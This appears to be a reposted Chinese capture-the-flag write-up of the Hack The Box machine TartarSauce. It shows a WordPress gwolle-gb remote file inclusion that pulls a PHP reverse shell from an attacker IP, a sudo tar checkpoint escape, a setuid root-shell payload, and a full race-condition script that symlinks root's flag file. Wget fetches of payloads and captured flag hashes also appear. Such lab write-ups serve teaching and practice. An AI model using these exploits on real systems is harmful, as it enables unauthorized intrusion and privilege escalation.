[Meachines] [Medium] TartarSauce WordPress-gwolle-…

2024-08-24 137 0

信息收集

IP Address Opening Ports
10.10.10.88 TCP:80

$ nmap -p- 10.10.10.88 --min-rate 1000 -sC -sV

PORT   STATE SERVICE    VERSION
80/tcp open  tcpwrapped

WordPress & gwolle-gb & RFI

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图

$ feroxbuster --url http://10.10.10.88/

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图1

$ wpscan --url http://10.10.10.88:80/webservices/wp -e ap --plugins-detection aggressive -t 100

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图2

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图3

$ curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/test'

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图4

$ cp /usr/share/webshells/php/php-reverse-shell.php wp-load.php

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图5

$ curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/'

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图6

www-data to onuma

$ python -c 'import pty; pty.spawn("/bin/bash")'

$ sudo -l

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图7

$ sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图8

User.txt

1895da47f6758f6ddf1f8c8ea61b4c4a

权限提升

系统中有一个名为 “backuperer.service” 的 systemd 定时器每隔几分钟运行一次。

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图9

$ find / -name backuperer 2>/dev/null

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图10

$ cat /usr/sbin/backuperer

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图11

# 定义变量
basedir=/var/www/html    # 备份源目录
bkpdir=/var/backups       # 备份文件保存目录
tmpdir=/var/tmp           # 临时目录
testmsg=$bkpdir/onuma_backup_test.txt    # 记录备份运行时间的测试消息文件
errormsg=$bkpdir/onuma_backup_error.txt  # 记录备份错误的文件
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)  # 存储备份文件的临时文件,文件名是从随机数据生成的 SHA1 哈希
check=$tmpdir/check      # 临时目录,用于存储解压后的备份文件

# 格式化函数
printbdr() {
    for n in $(seq 72); do
        /usr/bin/printf $"-"
    done
}
bdr=$(printbdr)  # 将分隔符保存到 bdr 变量中

# 记录备份时间
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# 清理
/bin/rm -rf $tmpdir/.* $check

# 执行备份
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# 等待备份完成
/bin/sleep 30

# 检查备份完整性
integrity_chk() {
    /usr/bin/diff -r $basedir $check$basedir
}

# 创建 $check 目录
/bin/mkdir $check

# 解压备份文件
/bin/tar -zxvf $tmpfile -C $check

# 调用 integrity_chk 函数检查备份的完整性
if [[ $(integrity_chk) ]]; then
    # 记录错误信息并退出
    /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
    integrity_chk >> $errormsg
    exit 2
else
    # 移动备份文件到目标目录并清理临时文件
    /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
    /bin/rm -rf $check .*
    exit 0
fi

1.自动清除/tmp目录下以.并且以SHA1 哈希值开头的隐藏备份文件.
2.使用onuma权限备份/var/www/html目录下文件到/var/tmp目录,存储备份文件的临时文件,文件名是从随机数据生成的 SHA1 哈希.
3./var/tmp目录中被创建check文件夹.
4.解压备份文件/var/tmp中,以.并且以SHA1 哈希值开头的隐藏备份文件到/var/tmp/check目录
5.调用 integrity_chk 函数检查备份的完整性

主要问题存在于/bin/tar -zxvf $tmpfile -C $check作用于/var/tmp中提取文件覆盖到/var/tmp/check目录中,我们需要在在它备份成一个.hash文件的时候劫持替换成恶意的压缩文件

构造payload

//setuid.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

$ sudo apt install gcc-multilib

$ gcc -m32 -o setuid setuid.c

$ chmod 4755 setuid

$ mkdir -p var/www/html

$ mv setuid ./var/www/html

$ tar -zcvf setuid.tar.gz var/

onuma@TartarSauce:/var/tmp$ wget http://10.10.16.24/setuid.tar.gz

等待定时器执行后在/var/tmp下会出现一个文件

.xxxxxx

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图12

替换文件

$ cp setuid.tar.gz .0d2369d13e9d34f9b994242d49e4446197b2ef18

整个过程只有5分钟之内可以利用,否则会将check文件删除,这里为var/www/html是为了绕过integrity_chk函数,不产生错误的正常的执行完成。它会比较/var/tmp/check的目录结构是否和/var/www/html下的路径是否一致。

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图13

onuma@TartarSauce:/var/tmp/check/var/www/html$ ./setuid

但是似乎不兼容

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图14

利用软连接+错误日志获取Flag

#!/bin/bash
# exp.sh
# work out of shm
cd /dev/shm

# set both start and cur equal to any backup file if it's there
start=$(find /var/tmp -maxdepth 1 -type f -name ".*")
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")

# loop until there's a change in cur
echo "Waiting for archive filename to change..."
while [ "$start" == "$cur" -o "$cur" == "" ] ; do
    sleep 10;
    cur=$(find /var/tmp -maxdepth 1 -type f -name ".*");
done

# Grab a copy of the archive
echo "File changed... copying here"
cp $cur .

# get filename
fn=$(echo $cur | cut -d'/' -f4)

# extract archive
tar -zxf $fn

# remove robots.txt and replace it with link to root.txt
rm var/www/html/robots.txt
ln -s /root/root.txt var/www/html/robots.txt

# remove old archive
rm $fn

# create new archive
tar czf $fn var

# put it back, and clean up
mv $fn $cur
rm $fn
rm -rf var

# wait for results
echo "Waiting for new logs..."
tail -f /var/backups/onuma_backup_error.txt

$ wget http://10.10.16.24/exp.sh
$ chmod +x exp.sh
$ ./exp.sh

[Meachines] [Medium] TartarSauce WordPress-gwolle-…插图15

Root.txt

6d1a541ae753613c68668f1ed114ffc9


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论